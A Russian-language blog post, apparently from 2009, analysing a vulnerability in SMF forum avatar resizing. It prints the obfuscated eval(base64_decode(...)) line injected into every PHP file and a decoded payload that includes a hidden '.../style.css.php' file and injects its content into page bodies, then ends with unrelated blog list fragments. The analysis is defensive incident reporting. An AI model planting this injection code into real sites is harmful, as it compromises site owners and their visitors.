В последнее время участились сообщения о взломах форумов, работающих на SMF (Simple Machines Forum), среди пострадавших оказался и форум русского сообщества Ubuntu. Но в чем именно проблема и чего бояться непонятно, информации было крайне мало.

Сегодня появилась дополнительная информация. Данной уязвимости подвержены все версии форума, включая последнюю стабильную версию 1.1.8. Уязвимость существует в функции масштабирования аватаров.

Дополнительная информация здесь.

Проявляется эта уязвимость следующим образом: во все PHP-файлы приписывается такая строка:

[-]
View Code PHP
< ?php /**/eval(base64_decode('aWYoZnVuY3R(поскипано)9fQ==')); ?>

BASE64 декодируется в такой PHP-код (я отформатировал код, чтобы сделать его читаемым):

[-]
View Code PHP
< ?php
if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){
    $GLOBALS['sh_no']=1;
    if(file_exists('.../style.css.php')){
        include_once('.../style.css.php');
        if(function_exists('gml')&&!function_exists('dgobh')){
            if(!function_exists('gzdecode')){
                function gzdecode($d){
                    $f=ord(substr($d,3,1));
                    $h=10;
                    $e=0;
                    if($f&4){
                        $e=unpack('v',substr($d,10,2));
                        $e=$e[1];
                        $h+=2+$e;
                    }
                    if($f&8){
                        $h=strpos($d,chr(0),$h)+1;
                    }
                    if($f&16){
                        $h=strpos($d,chr(0),$h)+1;
                    }
                    if($f&2){
                        $h+=2;
                    }
                    $u=gzinflate(substr($d,$h));
                    if($u===FALSE){
                        $u=$d;
                    }
                    return $u;
                }
            }
            function dgobh($b){
                Header('Content-Encoding: none');
                $c=gzdecode($b);
                if(preg_match('/\<body/si',$c)){
                    return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$c);
                }
                else{
                    return gml().$c;
                }
            }
            ob_start('dgobh');
        }
    }
}
?>

“Заражаются” все PHP-файлы, до которых “вирус” смог добраться: если у Вас на сайте живёт не только форум, то Вам не повезло. Как вариант, можно восстановить все файлы из резервной копии. Но что делать, если резервной копии нет?

Есть два варианта. Далее

23
Май
2009

Эта запись защищена паролем. Для ее просмотра введите, пожалуйста, пароль:


25
Дек
2008

Внимание: данную статью не следует воспринимать как руководство юного хакера; материал приведён исключительно в ознакомительных целях, чтобы программисты не повторяли подобных ошибок. Далее

21
Ноя
2008